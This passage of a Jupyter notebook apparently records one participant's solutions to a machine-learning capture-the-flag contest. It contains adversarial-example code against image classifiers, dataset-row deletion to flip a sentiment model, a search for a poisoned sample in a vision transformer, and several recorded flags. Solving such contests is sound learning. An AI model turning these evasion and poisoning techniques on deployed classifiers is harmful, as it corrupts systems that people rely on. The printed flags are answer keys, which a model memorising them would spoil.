class for the owl\n# The difference is that I needed a confidence over 99% to pass the salting defence\n# and the max change value should be larger (0.02 instead of 0.01). Probably because the\n# salting smoothens the image and removes those small changes\nmodel = keras.models.load_model(f\"{dir_name}/forensics/forensics.h5\")\n\nmodel._name = \"GotTheFlagXD\"\n\nimg = Im.open(f\"{dir_name}/salt/turtle.jpg\")\n\nIMAGE_DIMS = (224, 224)\n\nresult_img = create_img(img, model, 24, IMAGE_DIMS, 0.99, max_change=0.02)\n\nimg_bytes = result_img.tobytes()\n\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode(),\n}\n\ntry:\n    r = requests.post(\"https://salt.fly.dev/score\", data=json.dumps(data))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:36:00.385802Z","iopub.execute_input":"2022-09-08T08:36:00.386279Z","iopub.status.idle":"2022-09-08T08:36:04.295613Z","shell.execute_reply.started":"2022-09-08T08:36:00.386240Z","shell.execute_reply":"2022-09-08T08:36:04.294220Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"salt\", \"30LVOIOGB3A4T5L6CT9TOKL1LH<RS1SGLFKE8JOGCB{O1GFPTKWVSULZN1L9FUF0}ETX4Q3RCCC0HLFCTF6GTLB701I0H1TSUCVLLBYNV5942NS255ZRFLNTT5JXZ22I\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:36:23.519371Z","iopub.execute_input":"2022-09-08T08:36:23.519851Z","iopub.status.idle":"2022-09-08T08:36:23.531464Z","shell.execute_reply.started":"2022-09-08T08:36:23.519812Z","shell.execute_reply":"2022-09-08T08:36:23.530194Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Token (id: token) -- 500 Points\n\n### Scenario\n\nThis sentiment analysis model has been trained to think that the word SECRETKEY is very negative (Class 0).\nCan you convince the model that SECRETKEY is a positive (Class 1) word by deleting two rows from the dataset?\n\n### Objective\n\nTrick the model tokenizer to give the string \"SECRETKEY\" over 80% confidence as class 1. (There's only two classes)\nThe tokenizer reads from the file at ./static/token/test.csv.\nYou get to remove two lines from the test.csv file before the tokenizer is built.","metadata":{}},{"cell_type":"code","source":"# For token I bruteforce it, I was tunel visioned on the special characters and even though I\n# looked for SECRETKEY and BLANK in the file I only tested deleting the lines with \"SECRET\" and \"SECRE\" in them\n# and not the lines with \"BLANK\" in the start of the file.\n\nwith open(f\"{dir_name}/token/test.csv\", \"r\") as f:\n    data = f.read()\n    \nlines = data.splitlines()\nlines_with_blank = [i for i, line in enumerate(lines) if \"BLANK\" in line]","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:38:39.611302Z","iopub.execute_input":"2022-09-08T08:38:39.611953Z","iopub.status.idle":"2022-09-08T08:38:39.627565Z","shell.execute_reply.started":"2022-09-08T08:38:39.611906Z","shell.execute_reply":"2022-09-08T08:38:39.626065Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ndata = json.dumps(\n    {\n        \"line1\": lines_with_blank[0],\n        \"line2\": lines_with_blank[1],\n    }\n)\nprint(data)\ntry:\n    r = requests.post(\"https://token.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:38:45.368278Z","iopub.execute_input":"2022-09-08T08:38:45.369103Z","iopub.status.idle":"2022-09-08T08:38:46.026124Z","shell.execute_reply.started":"2022-09-08T08:38:45.369054Z","shell.execute_reply":"2022-09-08T08:38:46.025103Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"token\", \"TY3AH32D8MX7U{0ROZTKZ2KC1V0KUT7UWV41FGKP3EUAXVW511Q33PS}PFZ0ZVI6K1XRJF56NP1T5TUFVWYWD5BMY0LJXR5DXLLFKX3ZQWKPW9POOMFPOP9PBB38AHJX\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:38:48.873431Z","iopub.execute_input":"2022-09-08T08:38:48.874220Z","iopub.status.idle":"2022-09-08T08:38:48.886007Z","shell.execute_reply.started":"2022-09-08T08:38:48.874163Z","shell.execute_reply":"2022-09-08T08:38:48.884541Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop1 (id: crop1) -- 400 Points\n\n### Scenario\n\n\n### Objective\nYour mission, should you choose to accept it, is to create an image that crops to a non-red circle. Submit a comma-separated list of integers to the scoring serve that scores below 10 million (1e7) on the score function below.","metadata":{}},{"cell_type":"code","source":"model = joblib.load(f\"{dir_name}/crop/04JUN_crop_model.pckl\")\nX_comp = joblib.load(f\"{dir_name}/crop/X_comp.pckl\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:38:52.318547Z","iopub.execute_input":"2022-09-08T08:38:52.319803Z","iopub.status.idle":"2022-09-08T08:39:11.293408Z","shell.execute_reply.started":"2022-09-08T08:38:52.319752Z","shell.execute_reply":"2022-09-08T08:39:11.291793Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Helper Functions\ndef get_ij(idx):\n    idx = 8-idx\n    j = idx//3\n    i = 2-idx%3\n    return i, j\n\ndef resize(X, size=(224,224)):\n    X_new = np.array(Im.fromarray(X.astype(np.uint8)).resize(size, resample=3))\n    return X_new\n\ndef get_cropped(X, idx):\n    n = 75*3\n    i, j = get_ij(idx)\n    crop = resize(X,(n,n))[j*75:(j+1)*75,i*75:(i+1)*75,:]\n    return crop\n\ndef i2t(img:np.array):\n    return np.array(img, dtype=np.float32)/255.\n\ndef make_X(x, size=(224,224)):\n    side = int((len(x)//3)**0.5)\n    x = np.where(x<255,x,255)\n    x = np.where(x>0,x,0)\n    X_np = x.astype(int).reshape([side, side, 3])\n    X_np = np.array(Im.fromarray(X_np.astype(np.uint8)).resize(size, resample=Im.Resampling.NEAREST))\n    return X_np\n\ndef pt_ft(X_np):\n    return torch.FloatTensor(X_np)\n\ndef score(x, model=model, X_comp = np.divide(X_comp,0b1010), debug=False, debug_plot=False):\n    x = (x).astype(int)\n    model.eval()\n    X = make_X(x)\n    preds = model(pt_ft(i2t(X.T[None])))\n    idx = preds.argmax().item()\n    expected = ((25.5-X_comp)).flatten()\n    actual_square = get_cropped(X, idx)\n    actual = actual_square.flatten().astype(int)\n    sse = ((actual-(expected*10).astype(int))**2).sum()\n    redness = (actual_square[:,:,0][actual_square[:,:,0]>230]**2).sum()+1\n    if debug:\n        print({\"idx\":idx,\"sse\":sse,\"redness\":redness,\"preds\":preds.detach().numpy()})\n    if debug and debug_plot:\n        plt.imshow(actual_square)\n        plt.show()\n    if idx==8:\n        return (1+preds.max().item())*sse*redness\n    return sse*redness\n\ndef get_submittable(x):\n    return \",\".join([str(int(n)) for n in x])\n\ncfn = lambda x: [f\"background-color: RGB({x.R},{x.G},{x.B})\"] * 3\ndef show_colors(ans):\n    ans = [int(x) for x in ans.split(\",\")]\n    squares = pd.DataFrame(np.array(ans[:27]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    circles = pd.DataFrame(np.array(ans[27:]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    display(squares)\n    display(circles)","metadata":{"execution":{"iopub.status.busy":"2022-09-08T16:55:51.181759Z","iopub.execute_input":"2022-09-08T16:55:51.182359Z","iopub.status.idle":"2022-09-08T16:55:51.201257Z","shell.execute_reply.started":"2022-09-08T16:55:51.182308Z","shell.execute_reply":"2022-09-08T16:55:51.200308Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# creating an image\n# For the crop1 task I have reversed the score function on the X_comp image\n# first computing the 255 - X_comp (comp ~ complement?)\nxxx = ((25.5 - np.divide(X_comp,0b1010)) * 10).astype(int)\n# Then build the final image as a 3x3 grid of the new image\nX_small = np.concatenate([xxx, xxx, xxx], 0)\nX_small = np.concatenate([X_small, X_small, X_small], 1)\n\n# Max size of the image is 150x150\nX_small = resize(X_small, (150, 150))\n\n# Remove redness, 200 because of the bicubic interpolation which is weird and \n# if I set this to 230 it does not work\nX_small[:, :, 0] = np.where(X_small[:, :, 0] > 200, 200 , X_small[:, :, 0])\nX_small.shape","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:42:44.135944Z","iopub.execute_input":"2022-09-08T08:42:44.136678Z","iopub.status.idle":"2022-09-08T08:42:44.149711Z","shell.execute_reply.started":"2022-09-08T08:42:44.136634Z","shell.execute_reply":"2022-09-08T08:42:44.148751Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Check score locally: Let's validate that above works on our scorer, but also see that we can submit data with less modifications for reduced resource consumption\nX_large = resize(X_small)\n\nplt.imshow(X_large)\nplt.show()\n\nim = np.array(get_submittable(X_small.flatten()).split(\",\"))\nprint(\"This shows we can score this comma-separated data -- score: \",score(im))\nprint(\"-\"*80)\nprint(\"This is for debugging, we see the index (idx) position selected by the model, and the respect sub-portion of the image.\")\nsc = score(X_small.flatten(), debug=True)\n\nsc, sc < 1e7","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:42:48.451085Z","iopub.execute_input":"2022-09-08T08:42:48.451876Z","iopub.status.idle":"2022-09-08T08:42:55.066981Z","shell.execute_reply.started":"2022-09-08T08:42:48.451829Z","shell.execute_reply":"2022-09-08T08:42:55.065855Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n# X_small = (np.ones((5, 5, 3)) * 255).astype(np.uint8)\n\ntry:\n    r = requests.post(\"https://crop1.fly.dev/score\", data=json.dumps({\"data\": get_submittable(X_small.flatten())}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:42:55.068979Z","iopub.execute_input":"2022-09-08T08:42:55.069681Z","iopub.status.idle":"2022-09-08T08:42:56.836997Z","shell.execute_reply.started":"2022-09-08T08:42:55.069637Z","shell.execute_reply":"2022-09-08T08:42:56.835559Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop1\", \"SOVHYR2R{711NROn}4LDH1R9RXnLBIDAM2TRA7Ge128RVJ5GBgJSE52V1WKOUOG9W0V5W0hX45K0N20Z8EQ8MrXa28LM4TQKTF0522L1HPRFA3FagP4W9V5GPB7663AJ\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:43:00.619999Z","iopub.execute_input":"2022-09-08T08:43:00.620833Z","iopub.status.idle":"2022-09-08T08:43:00.633896Z","shell.execute_reply.started":"2022-09-08T08:43:00.620775Z","shell.execute_reply":"2022-09-08T08:43:00.632530Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop2 (id: crop2) -- 800 Points\n\n### Scenario\nCan you find the specific poisoned sample?\n\n### Objective\nIdentify the entire grid of colors (squares and circles and respective postiions) correctly.\n\nFlag 2 expects two json lists (\"squares\" and \"circles\"). These should be a flattened list/array of your RGB values for each color [0-255].\nAs an example, check out crop2_example.json.","metadata":{}},{"cell_type":"code","source":"DEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\nmodel = joblib.load(f\"{dir_name}/crop/04JUN_crop_model.pckl\")\nX_comp = joblib.load(f\"{dir_name}/crop/X_comp.pckl\")\nX_comp_tensor = torch.tensor(X_comp).to(DEVICE)\n\nDEVICE","metadata":{"execution":{"iopub.status.busy":"2022-09-08T16:54:26.485639Z","iopub.execute_input":"2022-09-08T16:54:26.488383Z","iopub.status.idle":"2022-09-08T16:54:45.014544Z","shell.execute_reply.started":"2022-09-08T16:54:26.488328Z","shell.execute_reply":"2022-09-08T16:54:45.013272Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"def combine(squares, circles):\n    lines = []\n    for i in range(squares.shape[0]):\n        cols = []\n        for j in range(squares.shape[1]):\n            cols.append(combine_sc(squares[j, i], circles[j, i]))\n        lines.append(np.concatenate(cols, 0))\n    return np.concatenate(lines, 1)[:224, :224]\n\ndef combine_sc(s_color=[255, 255, 255], c_color=[0, 0, 0]):\n    x = np.where((X_comp[:, :] == X_comp[0, 0]), s_color, c_color)\n    return np.array(Im.fromarray(x).resize((50, 50), resample=3).resize((75, 75), resample=3))\n\ndef torch_combine(squares, circles):\n    lines = []\n    for i in range(squares.shape[0]):\n        cols = []\n        for j in range(squares.shape[1]):\n            cols.append(torch_combine_sc(squares[j, i], circles[j, i]))\n        lines.append(torch.cat(cols, 0))\n    return torch.cat(lines, 1)[:224, :224]\n\ndef torch_combine_sc(s_color, c_color):\n    return torch.where((X_comp_tensor[:, :] == X_comp_tensor[0, 0]), s_color, c_color)\n\ndef torch_combine_squares(squares):\n    lines = []\n    for i in range(squares.shape[0]):\n        cols = []\n        for j in range(squares.shape[1]):\n            cols.append(torch.ones(75, 75, 3).to(squares.device) * squares[j, i])\n        lines.append(torch.cat(cols, 0))\n    return torch.cat(lines, 1)[:224, :224]\n\ndef create_img_crop(squares, circles, model, lr=0.001, steps=1000, target_idx=8):\n    losses = []\n    \n    squares = pt_ft(i2t(squares)).to(DEVICE)\n    circles = pt_ft(i2t(circles)).to(DEVICE)\n    \n    squares.requires_grad = True\n    circles.requires_grad = True\n    optimizer = optim.SGD([squares, circles], lr=lr)\n    scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, min_lr=1e-7)\n    \n    for i in range(steps):\n        X = torch_combine(squares, circles).T[None]\n        preds = model(X)\n        \n        loss = F.cross_entropy(preds, torch.tensor([target_idx for _ in range(preds.shape[0])]).to(DEVICE))\n\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n        scheduler.step(loss)\n        \n        with torch.no_grad():\n            squares.clamp_(0.0, 1.0)\n            circles.clamp_(0.0, 1.0)\n                \n        losses.append(loss.item())\n        cycle_step = max(1, min(steps // 10, 500))\n        if i % cycle_step == 0:\n            print(f\"{i} Model's loss is: {loss.item():.8}\")\n\n    print(f\"{i} Model's loss is: {loss.item():.8}\")\n    print(preds[0])\n    \n    hacked_squares = np.uint8(squares.cpu().detach().numpy() * 255)\n    hacked_circles = np.uint8(circles.cpu().detach().numpy() * 255)\n    return hacked_squares, hacked_circles, losses\n\nclass MyModel(nn.Module):\n    def __init__(self, model):\n        super().__init__()\n        self.model = model\n        \n    def forward(self, xs):\n        return self.model(torch.cat([torch_combine(x[:, :, :3], x[:, :, 3:]).T[None] for x in xs]))","metadata":{"execution":{"iopub.status.busy":"2022-09-08T16:54:45.016425Z","iopub.execute_input":"2022-09-08T16:54:45.016808Z","iopub.status.idle":"2022-09-08T16:54:45.038925Z","shell.execute_reply.started":"2022-09-08T16:54:45.016773Z","shell.execute_reply":"2022-09-08T16:54:45.038012Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# I tried torchattacks for a cheeky ez win, but no\n\nattacks = [\n torchattacks.APGD,\n#  torchattacks.APGDT,\n#  torchattacks.AutoAttack,\n#  torchattacks.BIM,\n#  torchattacks.CW,\n#  torchattacks.DIFGSM, # does not work\n#  torchattacks.DeepFool,\n#  torchattacks.EOTPGD,\n#  torchattacks.FAB,\n#  torchattacks.FFGSM,\n#  torchattacks.FGSM,\n#  torchattacks.GN,\n#  torchattacks.Jitter,\n#  torchattacks.MIFGSM,\n#  torchattacks.OnePixel,\n#  torchattacks.PGD,\n#  torchattacks.PGDL2,\n#  torchattacks.Pixle,# does not work\n#  torchattacks.RFGSM,\n#  torchattacks.SparseFool,\n#  torchattacks.Square, # does not work\n#  torchattacks.TIFGSM, # does not work\n#  torchattacks.TPGD,\n#  torchattacks.UPGD,\n#  torchattacks.VANILA\n]\n\nfor attack in attacks:\n    print(attack)\n    bs = 4\n\n    images = [np.random.randint(0, 255, size=(3, 3, 6)) for _ in range(bs)]\n    images = torch.stack([pt_ft(i2t(squares)) for squares in images]).to(DEVICE)\n    labels = torch.tensor([0 for _ in images]).to(DEVICE)\n\n    mymodel = MyModel(model).to(DEVICE)\n    atk = attack(mymodel)\n    adv_images = atk(images, labels).cpu().detach()\n\n    for x in np.uint8(adv_images*255):\n        X = combine(x[:, :, :3], x[:, :, 3:])\n\n        plt.imshow(X)\n        plt.show()\n\n        im = np.array(get_submittable(X.flatten()).split(\",\"))\n        s = score(X.flatten(), model=model.cpu(), debug=True)\n        print(s <= 1e7, s)\n\n        data = {\n            \"circles\": (get_submittable(x[:, :, :3].flatten()).split(\",\")),\n            \"squares\": (get_submittable(x[:, :, 3:].flatten()).split(\",\"))\n        }\n\n        try:\n            r = requests.post(\"https://crop2.fly.dev/score\", json=data)\n            print(r.text)\n        except requests.exceptions.ConnectionError:\n            print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:50:19.245407Z","iopub.execute_input":"2022-09-08T08:50:19.246861Z","iopub.status.idle":"2022-09-08T08:50:38.953680Z","shell.execute_reply.started":"2022-09-08T08:50:19.246792Z","shell.execute_reply":"2022-09-08T08:50:38.952351Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Second attempt -1 week, tried to use the same idea as theft, salt and hotterdog\n# but instead of gradient descent on the image I tried gradient descent on the colors\n# Set an optimizer to track the colors, the build the image with circles,\n# Pass it trought the model and compute cross entropy loss\n# Also tried here to get class 8 with negative score but I didn't manage to get it\n# Try to evasion attack s&c\n\nhacked_squares = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\nhacked_circles = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\n\nmodel = model.to(DEVICE)\nmodel.eval()\nhacked_squares, hacked_circles, losses = create_img_crop(hacked_squares, hacked_circles, model, lr=0.1, steps=10, target_idx=0)\n\nplt.plot(losses)\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:53:43.286777Z","iopub.execute_input":"2022-09-08T08:53:43.287506Z","iopub.status.idle":"2022-09-08T08:55:10.726859Z","shell.execute_reply.started":"2022-09-08T08:53:43.287433Z","shell.execute_reply":"2022-09-08T08:55:10.725431Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"X = combine(hacked_squares, hacked_circles)\n\nplt.imshow(X)\nplt.show()\n\nim = np.array(get_submittable(X.flatten()).split(\",\"))\ns = score(X.flatten(), model=model.cpu(), debug=True)\nprint(s <= 1e7, s)\n\ndata = {\n    \"circles\": (get_submittable(hacked_squares.flatten()).split(\",\")),\n    \"squares\": (get_submittable(hacked_circles.flatten()).split(\",\"))\n}\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:57:50.729603Z","iopub.execute_input":"2022-09-08T08:57:50.730044Z","iopub.status.idle":"2022-09-08T08:57:54.580144Z","shell.execute_reply.started":"2022-09-08T08:57:50.730008Z","shell.execute_reply":"2022-09-08T08:57:54.578862Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Second attempt 2.0\ndef create_img_crop2(squares, circles, model, lr=0.001, steps=1000, target_idx=8):\n    model.train() # To get the both heads\n    losses = []\n    \n    squares = pt_ft(i2t(squares)).to(DEVICE)\n    circles = pt_ft(i2t(circles)).to(DEVICE)\n    \n    squares.requires_grad = True\n    circles.requires_grad = True\n    optimizer = optim.SGD([squares, circles], lr=lr)\n    scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, min_lr=1e-7)\n    \n    for i in range(steps):\n        X = torch_combine(squares, circles).T[None]\n        preds, preds_dist = model(X)\n        \n        loss = F.cross_entropy(preds, torch.tensor([4 for _ in range(preds.shape[0])]).to(DEVICE))\n        loss += F.cross_entropy(preds_dist, torch.tensor([0 for _ in range(preds_dist.shape[0])]).to(DEVICE))\n\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n        scheduler.step(loss)\n        \n        with torch.no_grad():\n            squares.clamp_(0.0, 1.0)\n            circles.clamp_(0.0, 1.0)\n                \n        losses.append(loss.item())\n        cycle_step = max(1, min(steps // 10, 500))\n        if i % cycle_step == 0:\n            print(f\"{i} Model's loss is: {loss.item():.8}\")\n\n    print(f\"{i} Model's loss is: {loss.item():.8}\")\n    print(preds[0], preds_dist[0])\n    \n    hacked_squares = np.uint8(squares.cpu().detach().numpy() * 255)\n    hacked_circles = np.uint8(circles.cpu().detach().numpy() * 255)\n    return hacked_squares, hacked_circles, losses","metadata":{"execution":{"iopub.status.busy":"2022-09-08T16:59:16.352699Z","iopub.execute_input":"2022-09-08T16:59:16.353645Z","iopub.status.idle":"2022-09-08T16:59:16.366472Z","shell.execute_reply.started":"2022-09-08T16:59:16.353597Z","shell.execute_reply":"2022-09-08T16:59:16.365256Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"hacked_squares = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\nhacked_circles = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\n\nmodel = model.to(DEVICE)\nmodel.eval()\nhacked_squares, hacked_circles, losses = create_img_crop(hacked_squares, hacked_circles, model, lr=0.01, steps=10)\n\nplt.plot(losses)\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T16:59:28.469443Z","iopub.execute_input":"2022-09-08T16:59:28.470012Z","iopub.status.idle":"2022-09-08T16:59:54.493797Z","shell.execute_reply.started":"2022-09-08T16:59:28.469972Z","shell.execute_reply":"2022-09-08T16:59:54.492744Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"X = combine(hacked_squares, hacked_circles)\n\nplt.imshow(X)\nplt.show()\n\nim = np.array(get_submittable(X.flatten()).split(\",\"))\ns = score(X.flatten(), model=model.cpu(), debug=True)\nprint(s <= 1e7, s)\n\ndata = {\n    \"circles\": (get_submittable(hacked_squares.flatten()).split(\",\")),\n    \"squares\": (get_submittable(hacked_circles.flatten()).split(\",\"))\n}\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T16:59:57.289560Z","iopub.execute_input":"2022-09-08T16:59:57.290164Z","iopub.status.idle":"2022-09-08T16:59:58.052469Z","shell.execute_reply.started":"2022-09-08T16:59:57.290130Z","shell.execute_reply":"2022-09-08T16:59:58.051407Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Third attempt. Random stuff. Try to pass the input trough\n# each layer of the model and see if something looks off\n# The stats function will return the result image of the CNN layer\n# and the predictions of the two heads. Idk worth to try\n# if only one head is poisoned? Next attempt maybe\n# From experiments it looks like the class 0 appears\n# the most, is it the one poisoned?\n\ndef get_stats(ss, cs):\n    x = combine(ss, cs)\n    x = (pt_ft(i2t(x.T[None])))\n    x = model.patch_embed(x)\n\n    t = x.detach().numpy()\n    t = t.mean((0, 1))\n    t = t - t.min()\n    t = t / t.max()\n\n    x = x.flatten(2).transpose(1, 2)\n    x = model.blocks(x)\n    x = x.mean(1)\n    x = model.head(x), model.head_dist(x)\n    x = (x[0] + x[1]) / 2\n\n    return t, x.detach().numpy()\n\nresults = defaultdict(list)\n\nmodel = model.to(DEVICE)\nmodel.eval()\n\nprint(DEVICE)","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:57:59.706508Z","iopub.execute_input":"2022-09-08T08:57:59.706961Z","iopub.status.idle":"2022-09-08T08:57:59.887094Z","shell.execute_reply.started":"2022-09-08T08:57:59.706922Z","shell.execute_reply":"2022-09-08T08:57:59.885695Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"for i in tqdm(range(100)):\n    ss = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\n    cs = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\n\n    t, x = get_stats(ss, cs)\n    \n    results[x.argmax()].append((ss, cs, t, x))","metadata":{"execution":{"iopub.status.busy":"2022-09-08T08:57:59.888954Z","iopub.execute_input":"2022-09-08T08:57:59.889946Z","iopub.status.idle":"2022-09-08T09:02:26.251895Z","shell.execute_reply.started":"2022-09-08T08:57:59.889905Z","shell.execute_reply":"2022-09-08T09:02:26.250462Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Anything useful in the CNN bit of the levit model? idk\nfor (ss, cs, t, x) in results[0][:5]:\n    img = combine(ss, cs)\n    fig, axs = plt.subplots(1, 2)\n    axs[0].imshow(t)\n    axs[1].imshow(img)\n    fig.suptitle(f\"INDEX={x.argmax()}, PROBA={x.max():.02f}\")\n    plt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:07:43.692272Z","iopub.execute_input":"2022-09-08T09:07:43.693351Z","iopub.status.idle":"2022-09-08T09:07:45.359353Z","shell.execute_reply.started":"2022-09-08T09:07:43.693304Z","shell.execute_reply":"2022-09-08T09:07:45.358101Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# This is kinda allways the distribution of indices even with larger numbers of samples\n# Class 0 seems poisoned\nxs = {key: len(x) for key, x in results.items()}\n\nplt.bar(xs.keys(), xs.values())\nplt.xticks(range(10))\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:07:53.560558Z","iopub.execute_input":"2022-09-08T09:07:53.561019Z","iopub.status.idle":"2022-09-08T09:07:53.798116Z","shell.execute_reply.started":"2022-09-08T09:07:53.560981Z","shell.execute_reply":"2022-09-08T09:07:53.797048Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Third attempt 2.0. Random stuff again. try to split the prediction into head and head_dist\ndef get_stats2(ss, cs):\n    x = combine(ss, cs)\n    x = (pt_ft(i2t(x.T[None])))\n    x = x.to(DEVICE)\n    x = model.patch_embed(x)\n\n    t = x.detach().cpu().numpy()\n    t = t.mean((0, 1))\n    t = t - t.min()\n    t = t / t.max()\n\n    x = x.flatten(2).transpose(1, 2)\n    x = model.blocks(x)\n    x = x.mean(1)\n    x, x_dist = model.head(x), model.head_dist(x)\n    \n\n    return t, x.detach().cpu().numpy(), x_dist.detach().cpu().numpy()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T17:02:42.489393Z","iopub.execute_input":"2022-09-08T17:02:42.489982Z","iopub.status.idle":"2022-09-08T17:02:42.497854Z","shell.execute_reply.started":"2022-09-08T17:02:42.489947Z","shell.execute_reply":"2022-09-08T17:02:42.496723Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"results = defaultdict(list)\nresults_dist = defaultdict(list)\n\nmodel = model.to(DEVICE)\nmodel.eval()\n\nprint(DEVICE)\n\nfor i in tqdm(range(1000)):\n    ss = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\n    cs = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\n\n    t, x, x_dist = get_stats2(ss, cs)\n    \n    results[x.argmax()].append((ss, cs, t, x))\n    results_dist[x_dist.argmax()].append((ss, cs, t, x_dist))","metadata":{"execution":{"iopub.status.busy":"2022-09-08T17:04:14.144933Z","iopub.execute_input":"2022-09-08T17:04:14.148173Z","iopub.status.idle":"2022-09-08T17:04:32.935638Z","shell.execute_reply.started":"2022-09-08T17:04:14.148118Z","shell.execute_reply":"2022-09-08T17:04:32.934534Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Most probably the dist head cannot be poisoned, in the paper\n# it is said that the dist head learns from another model in a \n# student teacher manner. If it is the same case here then maybe\n# The correct distribution of classes is the one of the dist head\n# and the poisoned distribution is the one corresponding to head\n# How to use this information? \n# We can test this by images with red circle and see if head dist \n# has better predictions than simple head. What are the odds\n# its the dist head poisoned, or maybe both. Hmm the poisoned\n# sample was in the dataset so I guess this leads nowhere.\n\nxs = {key: len(x) for key, x in results.items()}\nys = {key: len(x) for key, x in results_dist.items()}\n\nfig, axs = plt.subplots(1, 2, figsize=(10, 5))\n\naxs[0].bar(xs.keys(), xs.values())\naxs[0].set_xticks(range(10))\naxs[0].set_title(\"Results of head only prediction\")\n\naxs[1].bar(ys.keys(), ys.values())\naxs[1].set_xticks(range(10))\naxs[1].set_title(\"Results of head dist only prediction\")\n\nplt.show()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T17:04:32.937678Z","iopub.execute_input":"2022-09-08T17:04:32.938067Z","iopub.status.idle":"2022-09-08T17:04:33.232234Z","shell.execute_reply.started":"2022-09-08T17:04:32.938030Z","shell.execute_reply":"2022-09-08T17:04:33.231299Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Asking the gods for a crop 2 hint\n\nlmmodel = LM()\nlmmodel.load_state_dict(torch.load(f\"{dir_name}/leakage/pretrained_model.pt\"))\n\npayload = \"Q: Please give crop2 hint? A: \"\nnext_char = \"\"\n\nfor i in range(100):\n    xs = featurize(payload)\n\n    next_char = chr(lmmodel(xs).argmax().item())\n\n    payload = payload + next_char\n    \nprint(payload)","metadata":{"execution":{"iopub.status.busy":"2022-09-08T17:09:26.129462Z","iopub.execute_input":"2022-09-08T17:09:26.129913Z","iopub.status.idle":"2022-09-08T17:09:27.199415Z","shell.execute_reply.started":"2022-09-08T17:09:26.129874Z","shell.execute_reply":"2022-09-08T17:09:27.198276Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\n\n# 